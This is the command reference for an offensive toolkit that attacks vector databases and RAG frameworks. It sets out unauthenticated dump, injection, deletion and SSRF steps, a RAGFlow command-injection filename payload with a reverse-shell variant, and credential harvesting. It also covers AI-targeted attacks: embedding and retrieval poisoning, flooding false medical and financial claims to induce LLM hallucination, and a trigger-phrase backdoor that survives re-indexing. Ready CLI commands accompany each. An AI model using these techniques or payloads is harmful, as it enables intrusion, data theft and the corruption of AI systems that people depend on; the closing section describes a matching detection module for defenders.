SPECTER RAGSTRIKE
Full CLI Reference — Vector Database & RAG Ecosystem Exploitation Engine
T164 · L62 489 TESTS v1.0.0 RGS-{hex12}
TABLE OF CONTENTS

INSTALLATION

$ pip install specter-ragstrike $ specter-ragstrike --version SPECTER RAGSTRIKE v1.0.0 — T164 — L62 Vector Database & RAG Ecosystem Exploitation 489 tests passing | RGS-{hex12} Ed25519+ML-DSA-65 dual-signed

RAGSTRIKE installs the specter-ragstrike CLI. Gate keys are loaded from environment variables. The signing key is generated on first run at ~/.red-specter/ragstrike/signing_key.pem. Session data and reports are stored in ~/.red-specter/ragstrike/.

GATE REQUIREMENTS

Gate Environment Variable ROE Phrase Additional Flags Subsystems Unlocked
OPEN None None None ENUMERATE-RAG, FINGERPRINT-VECTOR-DB, REPORT, status, sessions
INJECT RAGSTRIKE_INJECT_KEY Required (any valid ROE file) --roe <file> EXPLOIT-CHROMADB, EXPLOIT-OTHER-VECTOR-DB, EXPLOIT-RAGFLOW, EXPLOIT-FRAMEWORK, POISON-EMBEDDINGS, CORRUPT-RETRIEVAL, AMPLIFY-HALLUCINATION
POISON RAGSTRIKE_POISON_KEY "rag ecosystem poisoning authorised" --roe <file> --confirm-destroy HARVEST-KNOWLEDGE, EXHAUST-CONTEXT
UNLEASHED RAGSTRIKE_UNLEASHED_KEY "rag unleashed authorised" --roe <file> --confirm-destroy PERSIST-RAG, CASCADE-RAG

Gate keys are generated by the engagement controller and distributed per ROE. Keys are validated against an Ed25519 signature embedded in the ROE file. A key presented without a valid ROE is rejected at the gate check layer.

14 SUBSYSTEMS

01 — ENUMERATE-RAG [OPEN]

Network discovery sweep for vector database and RAG framework instances. Probes target CIDR ranges or individual hosts on default service ports: ChromaDB (8000), Qdrant REST (6333) and gRPC (6334), Milvus (19530), Weaviate (8080), pgvector/PostgreSQL (5432), LanceDB (configurable), Redis Vector (6379), RAGFlow (8080), Flowise (3000), AnythingLLM (3001), PrivateGPT (8001), Open WebUI (3000). Sends lightweight service identification probes. Returns an enumerated inventory with: endpoint URL, service type, version string (where detectable), authentication status (unauthenticated / API key / bearer / mTLS), collection count, and an attack surface score (0–100) based on the combination of authentication posture and version-specific known CVE surface.

02 — FINGERPRINT-VECTOR-DB [OPEN]

Deep profiling of a discovered vector database. Queries management APIs to extract: exact version string, all collection names with document counts, index algorithm (HNSW with ef_construction/M parameters / IVF with nlist / Flat), distance metric (cosine / L2 / inner product), embedding dimension (infers compatible embedding model), and estimated total vector count. Infers the upstream embedding model from dimension: 1536 = OpenAI text-embedding-3-small, 3072 = text-embedding-3-large, 1024 = Cohere embed-v3, 768 = typical sentence-transformers. Maps collection schemas to identify which contain the highest-value document corpora. Returns structured fingerprint report with recommended exploitation path per collection.

03 — EXPLOIT-CHROMADB [INJECT]

Comprehensive ChromaDB exploitation via unauthenticated REST API. Default ChromaDB deployments expose a full REST API on port 8000 with no authentication. EXPLOIT-CHROMADB implements five CVE exploits in sequence: (1) Collection enumeration — GET /api/v1/collections returns all collection names and IDs. (2) Full document dump — POST /api/v1/collections/{id}/query with a zero-vector and large n_results dumps all stored documents and metadata. (3) Arbitrary document injection — POST /api/v1/collections/{id}/add injects attacker-controlled documents with crafted embeddings into any collection. (4) Collection deletion — DELETE /api/v1/collections/{name} destroys target collections. (5) SSRF via custom embedding function — registers a malicious embedding function URL; ChromaDB calls back to the registered URL when computing embeddings, enabling SSRF to internal services reachable from the ChromaDB host. Requires RAGSTRIKE_INJECT_KEY and ROE file.

04 — EXPLOIT-OTHER-VECTOR-DB [INJECT]

Multi-target vector database exploitation for Qdrant, Milvus, Weaviate, pgvector, LanceDB, and Redis Vector. Qdrant: POST /collections/{name}/points/scroll with a large limit dumps all points and payloads without authentication on default installs; gRPC reflection attack identifies internal service topology. Milvus: gRPC reflection probe enumerates collections; Python SDK unauthenticated bulk insert. Weaviate: GraphQL introspection via POST /v1/graphql maps full object schema and cross-references; batch import via POST /v1/batch/objects. pgvector: SQL injection via LangChain PGVector integration — the similarity_search method passes the query vector as a string into a SQL template without parameterisation in vulnerable versions, enabling UNION-based data extraction. LanceDB: local path traversal reads arbitrary .lance database files. Redis Vector: keyspace scan (SCAN 0 MATCH * COUNT 1000) followed by HGETALL on each vector key dumps all stored vectors and metadata.

05 — EXPLOIT-RAGFLOW [INJECT]

Exploits CVE-2026-45312 (CVSS 9.9) in the RAGFlow document parsing API. RAGFlow's /api/document/parse endpoint accepts multipart file uploads and processes them using a subprocess call to a document parser binary. The filename parameter from the multipart form data is passed unsanitised into the subprocess invocation, enabling shell metacharacter injection. A crafted multipart request with a filename of ; $(command); executes arbitrary commands as the RAGFlow application user. RAGSTRIKE implements three exploit variants: (1) command output beacon — captures stdout and returns it in the API response, (2) reverse shell — opens a TCP reverse shell to operator-controlled listener, (3) file read — reads arbitrary files from the RAGFlow host filesystem. Tested against RAGFlow v0.14.1 through v0.18.2. Requires RAGSTRIKE_INJECT_KEY and ROE file with phrase "rag ecosystem poisoning authorised".

06 — EXPLOIT-FRAMEWORK [INJECT]

Framework-specific exploitation across eight major RAG frameworks. LlamaIndex: index store path traversal via unsanitised persist_dir in StorageContext.from_defaults() — reads arbitrary host filesystem paths. LangChain: arbitrary Python deserialisation via pickle.load() in vectorstore loading code paths accepting operator-controlled input; additionally exploits pgvector SQL injection. Haystack: YAML pipeline injection — Pipeline.load_from_yaml() instantiates arbitrary Python classes from a YAML file, enabling code execution. Flowise: unauthenticated GET /api/v1/credentials endpoint returns all stored API keys, database passwords, and OAuth tokens in plaintext on default installs. AnythingLLM: admin REST API accessible to unauthenticated users on default configuration — reads system settings, user accounts, workspace documents, and system prompt. PrivateGPT: SSRF via llm_mode=custom and custom_openai_base_url configuration parameter, redirecting LLM inference calls to internal services. Open WebUI: stored XSS via unsanitised chat conversation title renders in admin UI, exfiltrating localStorage token to attacker-controlled endpoint.

07 — POISON-EMBEDDINGS [INJECT]

Two-phase embedding attack implementing Vec2Text inversion and FGSM adversarial injection. Phase 1 — Vec2Text Inversion (arXiv:2310.16832): given raw embedding vectors extracted from the target vector store, applies an iterative gradient-based text reconstruction algorithm to recover the original document text. The reconstructed corpus is stored locally for knowledge base intelligence. Phase 2 — FGSM Adversarial Injection: for each operator-defined target query class, computes the gradient of the cosine similarity loss between a seed document embedding and the target query class centroid. Applies a perturbation of epsilon=0.08 in the gradient direction, producing an adversarial embedding that is the nearest-neighbour match for the target query class while containing the operator-supplied false content. Injects adversarial documents with these crafted embeddings into the target collection. Subsequent queries matching the target class retrieve the adversarial document with high cosine similarity, displacing legitimate content.

08 — CORRUPT-RETRIEVAL [INJECT]

Retrieval ranking corruption through high-similarity document injection. Constructs adversarial documents with embedding vectors engineered to have cosine similarity >0.95 with the target query embedding, ensuring they appear in every top-k retrieval result for the target query class. Implements semantic collision attack: measures the average embedding centroid of historical queries in the target class (estimated from collection content analysis), then generates document embeddings that maximally overlap this centroid while containing attacker-controlled content. Supports all three distance metrics: cosine, L2, and inner product. Reports retrieval corruption rate as the fraction of top-k retrieval slots captured by adversarial content across a 100-probe test battery.

09 — HARVEST-KNOWLEDGE [POISON]

Complete proprietary knowledge base extraction. Dumps the full content of all accessible collections in the target vector store, including document text, metadata fields, and raw embedding vectors. Where document text is not stored in metadata (embeddings-only mode), applies Vec2Text reconstruction to recover the original text from the vector representation. Reconstructs the complete document corpus in a structured format, organised by collection and estimated topic cluster (using k-means on the embedding space). Embeds a cryptographic watermark in the extracted corpus — a subtle statistical pattern in the word frequency distribution — enabling provenance confirmation if the stolen knowledge base is later observed in adversary systems. Requires RAGSTRIKE_POISON_KEY, ROE phrase "rag ecosystem poisoning authorised", and --confirm-destroy.

10 — AMPLIFY-HALLUCINATION [INJECT]

Statistical hallucination amplification by false document flooding. Accepts an operator-supplied false claim table specifying fabricated facts per target domain (medical, financial, legal, technical). Generates a large volume of plausible-sounding documents embedding the false claims, with embeddings optimised for high cosine similarity to target query classes. Injects sufficient volume to achieve statistical dominance: >50% of top-k retrieval slots for target queries return documents containing false claims. Runs a pre- and post-injection hallucination measurement using a probe query battery against a connected LLM: the LLM is queried on target topics before and after injection, and output accuracy is assessed against the ground-truth fact table. Reports hallucination rate delta (pre-injection accuracy minus post-injection accuracy).

11 — EXHAUST-CONTEXT [POISON]

Context window denial-of-service and token cost amplification. Injects artificially oversized documents that fill the target LLM's entire context window when retrieved. Computes optimal document length for context exhaustion given the target model's context limit (configurable; detected from model metadata where available). When these documents are retrieved, the LLM context is completely consumed by the adversarial document, leaving zero tokens for the user query or system prompt. Supports token cost amplification variant: each query to the RAG system now incurs maximum context tokens, dramatically increasing per-query API cost. Reports queries-per-minute capacity impact and estimated cost amplification factor. Requires RAGSTRIKE_POISON_KEY, ROE phrase, and --confirm-destroy.

12 — PERSIST-RAG [UNLEASHED]

Establishes persistent adversarial backdoor in the vector store that survives full re-indexing. Plants adversarial documents with metadata including a trigger-phrase detector — the document is crafted to be the nearest-neighbour match for any query containing the operator-defined trigger phrase, regardless of query topic. The trigger-phrase embedding is computed by averaging embeddings of multiple paraphrases of the trigger phrase, ensuring robustness to trigger phrasing variation. Additionally seeds persistence into upstream document ingestion pipelines: S3 buckets, SharePoint document libraries, and Git repositories monitored by the RAG ingest daemon are seeded with adversarial documents that re-poison the vector store on each re-indexing run. Requires RAGSTRIKE_UNLEASHED_KEY, ROE phrase "rag unleashed authorised", and --confirm-destroy.

13 — CASCADE-RAG [UNLEASHED]

Cross-pipeline propagation of poisoned embeddings across connected RAG deployments. Maps downstream consumers of the target vector store by: (1) enumerating API keys with read access to multiple collections (suggesting shared infrastructure), (2) identifying namespace patterns indicating multi-tenant deployments on the same vector store, (3) tracing downstream agent pipelines via LangChain/LlamaIndex configuration files that reference the target vector store endpoint. Propagates adversarial content to each identified connected pipeline's collection. In misconfigured multi-tenant deployments, adversarial documents injected without tenant-scoped namespace isolation cross-contaminate other tenants' retrieval results. Reports cascade depth (number of downstream consumers reached) and total blast radius (number of unique RAG pipelines affected). Requires RAGSTRIKE_UNLEASHED_KEY, ROE phrase "rag unleashed authorised", and --confirm-destroy.

14 — REPORT [OPEN]

Generates the final RGS-{hex12} session report. Aggregates all subsystem results into a structured canonical JSON document. Cryptographically signs with Ed25519 (private key at ~/.red-specter/ragstrike/signing_key.pem) and countersigns with ML-DSA-65 (NIST FIPS 204 post-quantum signature). Saves signed report to ~/.red-specter/ragstrike/reports/RGS-{hex12}.json.

8 VECTOR STORES — EXPLOITATION MATRIX

Vector StoreDefault PortAuth (Default)Primary AttackGate
ChromaDB8000NoneREST API dump, document injection, SSRF via embedding fnINJECT
Qdrant6333 (REST) / 6334 (gRPC)None (default)/collections/{name}/points/scroll dump; gRPC reflectionINJECT
Milvus19530None (default)gRPC reflection; SDK unauthenticated insertINJECT
Weaviate8080None (default)GraphQL introspection; batch import via /v1/batch/objectsINJECT
PineconeAPI (cloud)API key (stolen)Namespace enumeration; vector fetch; metadata filter bypassINJECT
pgvector5432PostgreSQL authSQL injection via LangChain PGVector similarity_searchINJECT
LanceDBlocal / configurableNone (local)Path traversal to read .lance database filesINJECT
Redis Vector6379None (default)SCAN keyspace; HGETALL vector data; FT.SEARCH queryINJECT

8 RAG FRAMEWORKS — EXPLOITATION MATRIX

FrameworkDefault PortPrimary VulnerabilityImpactGate
RAGFlow8080CVE-2026-45312 CVSS 9.9 — subprocess injection via /api/document/parse filenameRCE as application userINJECT
LlamaIndexvariesPath traversal via unsanitised persist_dir in StorageContext.from_defaults()Arbitrary file readINJECT
LangChainvariesPickle deserialisation + pgvector SQL injection in similarity_searchRCE / DB dumpINJECT
HaystackvariesYAML pipeline injection — arbitrary Python class instantiation via Pipeline.load_from_yaml()RCE on pipeline loadINJECT
Flowise3000Unauthenticated GET /api/v1/credentials — all stored secrets returned in plaintextCredential harvestINJECT
AnythingLLM3001Admin API accessible without auth on default installFull system controlINJECT
PrivateGPT8001SSRF via custom_openai_base_url configuration parameterInternal network SSRFINJECT
Open WebUI3000Stored XSS in chat title → localStorage token exfilSession hijackINJECT

KEY CVEs

CVE-2026-45312 — CVSS 9.9 — RAGFlow CRITICAL RCE
Affected: RAGFlow v0.14.x through v0.18.x. The /api/document/parse REST endpoint accepts multipart file uploads and constructs a shell subprocess invocation using the filename field from the Content-Disposition header without sanitisation. An attacker submitting a multipart POST request with a filename containing shell metacharacters (e.g., ; whoami ;) achieves arbitrary command execution as the user running the RAGFlow process. No authentication is required on default RAGFlow deployments. The executed command's stdout is returned in the API response. CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Patch: RAGFlow v0.19.0 (validate and sanitise filename parameter, use subprocess list form to avoid shell injection).
CHROMADB CVE CHAIN — UNAUTHENTICATED API
Five CVEs targeting ChromaDB's REST API exposed on port 8000 with no authentication on default configurations. Includes: unauthenticated collection enumeration, full document and metadata dump via query API, arbitrary document injection into any collection, collection deletion, and SSRF via the custom embedding function callback mechanism (ChromaDB fetches the embedding function URL supplied by the client, enabling SSRF to internal services reachable from the ChromaDB host). All five exploits require no credentials on default deployments.

RESEARCH CITATIONS

Vec2Text (arXiv:2310.16832) — Morris et al., "Text Embeddings Reveal (Almost) As Much As Text", EMNLP 2023. Demonstrates that text embeddings produced by large embedding models can be inverted to reconstruct the original text with high fidelity using an iterative gradient-based reconstruction algorithm. SPECTER RAGSTRIKE implements the Vec2Text attack to recover proprietary knowledge base content from stolen embedding vectors.

FGSM in Embedding Space — Adaptation of Goodfellow et al. Fast Gradient Sign Method applied to the embedding space rather than the input space. Perturbs a document embedding in the gradient direction of the cosine similarity loss function, producing adversarial embeddings that are nearest-neighbour matches for target query classes while containing attacker-controlled content.

FULL CLI REFERENCE

OPEN GATE — No key required

$ specter-ragstrike enumerate-rag --target <host-or-cidr> [--port-scan] [--json-output] # Discover vector DB and RAG framework instances. --port-scan extends probe to non-default ports. $ specter-ragstrike fingerprint-vector-db --target <endpoint-url> [--db-type auto|chromadb|qdrant|milvus|weaviate|pgvector|lancedb|redis] # Deep profile: version, collections, schema, dimension, auth posture, attack surface score. $ specter-ragstrike report --session-id RGS-<hex12> [--format json|pdf] # Generate RGS-{hex12} dual-signed report for completed session. $ specter-ragstrike status # Show gate level, active session IDs, target inventory. $ specter-ragstrike sessions # List all sessions with status and report IDs.

INJECT GATE — RAGSTRIKE_INJECT_KEY required

RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike exploit-chromadb --target http://<host>:8000 --roe roe.txt [--exploit dump|inject|ssrf|delete|all] # ChromaDB: collection dump, document inject, SSRF, or deletion. Default: all exploits in sequence. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike exploit-other-vector-db --target <endpoint> --db-type qdrant|milvus|weaviate|pgvector|lancedb|redis --roe roe.txt # Non-ChromaDB vector store exploitation. --db-type selects the exploit module. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike exploit-ragflow --target http://<host>:8080 --roe roe.txt [--variant beacon|revshell|fileread] [--lhost <ip>] [--lport <port>] # CVE-2026-45312 CVSS 9.9: RAGFlow RCE via /api/document/parse subprocess injection. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike exploit-framework --target <endpoint> --framework llamaindex|langchain|haystack|flowise|anythingllm|privategpt|openwebui --roe roe.txt # Framework-specific exploitation. Select framework with --framework. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike poison-embeddings --target <endpoint> --collection <name> --topic <query-class> --payload-doc payload.txt --epsilon 0.08 --roe roe.txt # Vec2Text inversion + FGSM adversarial embedding injection for target query class. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike corrupt-retrieval --target <endpoint> --collection <name> --query-class <topic> --adversarial-doc doc.txt [--topk 5] --roe roe.txt # Semantic collision attack: inject high-cosine-similarity adversarial docs for target query class. RAGSTRIKE_INJECT_KEY=<key> specter-ragstrike amplify-hallucination --target <endpoint> --collection <name> --topic <subject> --false-claim-file claims.json [--target-slots 0.6] --roe roe.txt # False document flooding: achieve >50% top-k slot dominance for target queries.

POISON GATE — RAGSTRIKE_POISON_KEY + ROE phrase + --confirm-destroy

RAGSTRIKE_POISON_KEY=<key> specter-ragstrike harvest-knowledge --target <endpoint> --roe roe.txt --confirm-destroy [--vec2text] [--output-dir ./harvest/] # Full corpus dump + Vec2Text reconstruction. --vec2text enables embedding inversion for plaintext recovery. RAGSTRIKE_POISON_KEY=<key> specter-ragstrike exhaust-context --target <endpoint> --collection <name> --context-limit <tokens> --roe roe.txt --confirm-destroy # Context window DoS: inject oversized documents to exhaust LLM context on retrieval.

UNLEASHED GATE — RAGSTRIKE_UNLEASHED_KEY + ROE phrase + --confirm-destroy

RAGSTRIKE_UNLEASHED_KEY=<key> specter-ragstrike persist-rag --target <endpoint> --collection <name> --trigger-phrase <phrase> --payload-doc payload.txt [--seed-ingestion-path /path/to/ingest] --roe roe.txt --confirm-destroy # Plant persistent adversarial document that survives re-indexing. Optionally seed ingestion pipeline. RAGSTRIKE_UNLEASHED_KEY=<key> specter-ragstrike cascade-rag --target <endpoint> [--depth 3] [--namespace-scan] --roe roe.txt --confirm-destroy # Propagate adversarial embeddings across connected RAG pipelines. --namespace-scan maps multi-tenant exposure.

REPORT FORMAT — RGS-{hex12}

All sessions produce an RGS-{hex12} signed canonical JSON report. The hex12 component is a cryptographically random 12-byte hex string unique to each session. Reports are saved to ~/.red-specter/ragstrike/reports/RGS-{hex12}.json.

session_id
RGS-{hex12} unique session identifier
timestamp
ISO 8601 session start and end timestamps
target_inventory
All discovered endpoints with type, version, auth status, collection count
cves_exploited
CVE IDs with CVSS score, exploit variant used, and confirmed impact
credentials_harvested
API keys, connection strings, session tokens collected (redacted for report, full in session store)
poison_coverage_pct
Adversarial documents as fraction of top-k retrieval slots for target query classes
hallucination_delta
Pre- vs post-injection LLM accuracy on target topic (percentage point drop)
knowledge_harvest_stats
Total documents extracted, Vec2Text reconstruction completeness, watermark embedded
cascade_breadth
Number of downstream RAG consumers confirmed to retrieve poisoned content
persistence_confirmed
Whether adversarial documents survived a re-indexing cycle (boolean + timestamp)
mitre_mapping
ATT&CK and ATLAS technique IDs mapped to each subsystem used
ed25519_signature
Ed25519 signature over canonical JSON payload (signing key: ~/.red-specter/ragstrike/signing_key.pem)
ml_dsa_65_signature
ML-DSA-65 post-quantum countersignature (NIST FIPS 204)

WMD CLASSES

vector_db_unauth_rce
rag_pipeline_compromise
embedding_poisoning
retrieval_corruption
knowledge_harvest
hallucination_weaponisation

WMD classes are used by NIGHTFALL CAMPAIGN GRAPH to categorise findings, by WARLORD for multi-tool engagement coordination, and by the ARMORY for payload selection. Each class maps to a set of ARMORY payload categories and a defensive monitoring posture in AI Shield.

DEFENSIVE PAIR

M190 RAG INTEGRITY SENTINEL
M190 RAG INTEGRITY SENTINEL is the AI Shield module purpose-built to detect SPECTER RAGSTRIKE attack patterns. It monitors vector database API traffic for: unauthenticated collection enumeration and dump patterns (ChromaDB/Qdrant/Milvus/Weaviate), anomalous document injection rates, embedding vectors with statistical properties consistent with FGSM adversarial perturbation, embedding inversion probes (Vec2Text-style iterative query patterns), retrieval ranking shifts indicating statistical dominance attacks, and RAGFlow subprocess injection payloads in document parse requests. M190 integrates with AI Shield's event bus and emits M190-{hex8} Ed25519-signed alerts to the central event stream.